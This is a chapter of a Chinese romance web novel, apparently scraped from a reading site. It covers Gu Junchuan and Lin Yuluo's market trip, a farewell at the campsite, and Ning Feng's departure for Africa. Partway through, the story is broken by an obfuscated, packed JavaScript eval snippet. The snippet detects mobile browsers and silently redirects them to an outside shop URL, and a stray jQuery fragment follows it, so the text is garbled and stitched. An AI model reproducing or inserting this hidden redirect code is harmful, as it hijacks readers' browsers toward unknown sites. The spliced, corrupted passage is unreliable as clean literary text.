第82章 蔺雨落:人生的路口
    她在夜路上退行一步,警觉地看着顾峻川:“你别不是要发疯吧?我刚刚什么都没说。”

    “怎么?我没管理好表情不小心让你看出来我想揍你一顿了?”顾峻川故意上前一步吓唬她看她倔强地扬起下巴,就忍不住拽一把她围巾:“你吃生腌连拉带吐以后一辈子不吃生腌了?”

    “那不一样。”

    “哪不一样?怎么不一样?”

    蔺雨落不知道该怎么说婚姻是婚姻吃的是吃的顾峻川非要强词夺理。嘴笨的时候就不说话,从他身前绕过去加快脚步回营地。

    “明天上午逛集市,下午爬山,去不去?”顾峻川在她进帐篷前问她。

    “去说好的就不会反悔。”

    你反悔的时候还少吗?顾峻川心想动手把自己围巾解下来,还不忘说一句气人话:“省得你还给我寄。”手套的事情还没忘呢。

    蔺雨落觉得顾峻川的心眼八成只有针眼大小。

    蔺雨落姐弟带顾峻川逛集市。一个摊位接着一个摊位卖什么的都有。顾峻川想看童装蔺雨落就带他找了一家挑了很多她儿时穿的衣服样子。

    顾峻川看着那些衣服想象了一下童年蔺雨落穿上的样子,应该像小年画娃娃一样可爱。

    而对蔺雨落姐弟来说,逛集市的快乐不在买衣服而在于各种各样的小吃食和小玩具。他们小时候跟着父母逛集市,总要吃够玩够才回家。这一次也不例外,带着顾峻川吃了很多当地的小吃还买了很多小玩具。

    集市上也有拍照的摊位,十块钱一套民族服饰,加拍照三十块钱。他们都拗不过热情的老板,各自挑衣服照了一张。顾峻川身高腿长,那衣服到他身上露出手腕和脚踝,看起来格外滑稽。很多天没有欢笑过的蔺雨落站在那笑了半天。

    顾峻川哼了一声嗤笑她小人得志便猖狂。顺便抢走了蔺雨落的洋芋碗

    “等高沛文的团队设计好了你要不要尝试帮忙穿一下?”顾峻川问。

    “穿呗。给钱。”

    “你掉钱眼里了吗?”

    “亲兄弟明算帐。”

    “谁跟你亲兄弟。”

    顾峻川看着蔺雨落她活过来了又没完全活过来。

    他这两天单独跟蔺雨舟在一起的时候曾聊到蔺雨落失恋。蔺雨舟说我姐重感情上一次分手一直没放下这次我不知道。前几天宁风学长回我们母校演讲校友群里都在发她也认真看了但我看不出她的情绪。宁风学长其实是一个很

    好的人,正直善良。

    “你给我看看你宁风学长的演讲。

    “会不会不太好?

    “快点。让我看看你姐爱的到底是什么人。

    视频里的宁风好像比本人更清秀一点。

    他站在操场上的升旗台上,像学生在做报告一样进行他的演讲。他讲漫漫求学路,讲他看到的世界,讲他认为的民族希望和人生的意义。通俗易懂,并不假大空。他看起来是一个心怀理想的朗朗少年模样,只是眼神偶尔会悲伤。

    他说我永远不会忘记这里。

    至于为什么永远不会忘记这里他没说。大概是十几岁的年纪下课铃响第一个冲出教室,只为在操场上跟那个女孩对视一眼。又或者他从这里走出去,走到了更大的世界。他得到了很多,也失去了一些,但人生还是要向前。

    顾峻川从宁风的演讲中窥得一些他和蔺雨落少年时代相爱的模样,人生大概不会再有那么真挚的感情。因为再往后,人的感情总要有附带的条件,譬如财富、社会地位、阶级跨越。有一个瞬间顾峻川会想,如果在这一天以后的蔺雨落突然看透了这操蛋的生活,因为那些附加条件走向他,那他还会跟她在一起吗?不会。

    顾峻川想,如果没有纯粹的彻底的爱情,他宁愿不要。

    他把手机还给蔺雨舟的时候神情很复杂。蔺雨舟问他怎么了,他说没什么,我只是觉得你姐没爱错人。你前姐夫人不错。顾峻川隐隐觉得,蔺雨落一辈子大概就只会难过这两次,两次都为了同一个人。

    下午去喂猫,两个人盘腿坐在阳光下的木屋前,依稀能听到露营区的欢声笑语。蔺雨落格外偏爱那是虎斑纹的小猫,捧在手心揉了半天。

    顾峻川懒散地躺在草甸上,吹着山风晒着太阳,嘴里咬着一株不知名的草。墨镜遮住他的心事,他一动不动,像死了一样。

    小猫崽开始练习爬行,躺着晒太阳的顾峻川就是它们的猫爬架,七歪八扭爬,爬不好就从他身上滑下来。

    蔺雨落从前实在想象不出铁骨铮铮的顾峻川身上挂满了猫,可现在看这情形也不违和。讨人嫌的人,猫却喜欢他。

    两个人在顾峻川的秘密基地里养育这些小猫三天。

    他们的假期结束了。

    三个人是一起离开营地的。

    蔺书雪站在营地门口送他们,她叮嘱顾峻川:“开心点,我会随时回去看你的。

    而顾峻川则叮嘱穆力尧:“多给她测血压血糖,她毕竟60多岁了。

    穆力尧点头:“放

    心。我们俩会彼此照顾的。”

    “那就好。”

    顾峻川每次跟蔺书雪分开都心绪复杂。

    他当然知道母子关系也会渐行渐远,但他就是会担心蔺书雪。

    “我什么事都不会有。”蔺书雪拍他肩膀:“等我回北京,咱们一起把后面的事情处理一下。”

    “好。”

    蔺雨落看他们母子分别,从顾峻川脸上看到了少见的难过。去机场的路上她试图安慰他,但找了几次话题都不太成功。用顾峻川的话说:“你可不要猫哭耗子了。”

    落地北京后顾峻川开车送他们。

    先送蔺雨舟回学校,再送蔺雨落回家。

    蔺雨舟走后,车上出奇的安静。

    蔺雨落看着车窗外的夜晚,有一种恍惚之感。早上还在营地吃米线,晚上就到了车水马龙的北京。而这个年发生的一切,就像一场悲剧电影。

    蔺雨落觉得心里空落落的。

    顾峻川的车停在她家楼下,看了看时间,还是决定送她上楼。

    还是那个狭窄幽暗的楼梯,还是蔺雨落走几步跺个脚。顾峻川跟在她身后,看她步履不似从前轻快。还有几个台阶到她家门口,他止了步:“进去吧。”

    甚至没有送她到门口。

    因为他觉得那间屋子里面关着的是蔺雨落和宁风的记忆,他不喜欢踏入别人的城池,显得不够有礼貌。

    蔺雨落轻声说了句谢谢,就打开门。

    开了灯,看到门口鞋柜上放着的钥匙。

    宁风原本挂在衣架上的一件外套不见了,鞋柜里他的男士拖鞋和备用鞋也都不见了。蔺雨落走到卫生间,看到他的剃须刀、剃须水、毛巾都消失了。这个家又恢复到她刚搬进来的样子。好像他从来没来过一样。

    才少了一点点东西而已,屋里就显得空空荡荡。

    蔺雨落想:宁风真的受伤了。他连当面来取东西的勇气都没有,就这样消失了。

    她躺在床上辗转反侧,第二天就去馆里上班了。

    她给同事们带了很多好吃的,一一分给大家,并且认真介绍那些都是什么。大家吃得开开心心,还顺道跟蔺雨落汇报这半个月来馆里发生的事情。

    这一天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099466|87165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    周小溪来练瑜伽,是蔺雨落给她上的课。

    上课期间周小溪几次欲言又止,蔺雨落发现了,就问她:“小溪,你是不是有话说?”

    “宁风又申请去非洲了,你知道吗?”

    “我不知道。不是说你们每个人申请去一次非洲就行吗?”

    “不是。可以申请去。但非洲太苦了,每个要去非洲的人都会提前安排好后世,你能想象吗?”周小溪也不知道自己说这些是否应该,只是她觉得宁风似乎遇到了情感问题,想逃离。

    蔺雨落点点头:“我知道非洲很苦。”

    “那你要劝他放弃这次申请吗?”

    “我试试。”

    蔺雨落觉得自己像一个罪人,是她又把宁风推向了非洲。她在晚上下班后,瑜伽馆里只剩她一个人的时候打了宁风的电话。

    宁风接了,他的声音还是很轻很温柔:“怎么了落落?”

    “你别去非洲,宁风。”

    宁风安静片刻才说:“不是因为分手。这个申请是在过年前就提交的,不信的话我可以给你看申请日期。”

    “但你没有跟我说过。”

    “我本来想过年的时候跟你说。”

    宁风觉得自己是有一点自私的,他想实现自己的理想,又害怕失去,所以他急于跟蔺雨落定下来。如果他自认他的人性是光辉的,但在这件事上,他太自私了。他这一辈子唯一一次自私,就是这一次。

    蔺雨落不知还该说什么,她不怪宁风的隐瞒,只想祝他平安。她说:“宁风,你要平安回来。”

    “好的。落落。等我回来,你和小舟为我接风,以校友的名义。”

    他们都知道此去真的无法回头,如果一定要去想这一次分手跟上一次分手有什么区别的话,那就是上一次分手,他们都觉得人生很漫长,他们不定什么时候会再遇,所以他们都等着盼着;而这一次,他们知道真的结束了。

    宁风在挂断电话前对蔺雨落说:“落落,你真的很勇敢。尽管分开会让人痛苦,但我很乐于见到你现在这样,你有了一个钢筋铁骨之躯,从此再没有人能伤害你了。”

    那句“我真的爱你”被宁风咽下,他挂断电话的时候忍住了那声叹息。

    蔺雨落坐在瑜伽教室里,心里有潮涌一样的痛感。她深呼吸几次才平静。

    再过半个月,周小溪过来办停卡。停卡原因是去支援非洲。

    蔺雨落在系统里办理停卡的时候,周小溪笑着对她说:“落落教练,你要不要祝我平安归来?”

    “会的,你们都会平安归来。”

    “那么,就等着我凯旋的消息吧!”

    在周小溪走之前,她执着地跟蔺雨落索要一个拥抱。蔺雨落拥抱小巧的她,却觉得她有两米高。她一直送周小溪到商场门口,看到她开了一辆共享单车,塞上耳机,开了音乐,跟蔺雨落挥手说再见。

    此时已经是北京的初春,东安商场门口的树上冒出了嫩芽,游人都换上了轻便的春装,十字路口东南西北各站了一帮等红灯的人。他们在这个十字路口短暂交汇,又快速分开。每个人都有自己的方向。

    蔺雨落站在那看了会儿,她出现了一个幻觉,在马路对面,好像站着一个穿白色衬衫的少年。他在操场上跑动的时候突然回头看了她一眼,然后他跑出学校,顺着校门口那条路一直奔跑,最终跑向远方。

    跑到她看不到的地方。

    她回过头看到顾峻川站在那,难过还未散去、她正在练习真正地放下。

    “难过啊?喝一杯啊?”

    “喝就喝。”蔺雨落说:“云喝。”

    …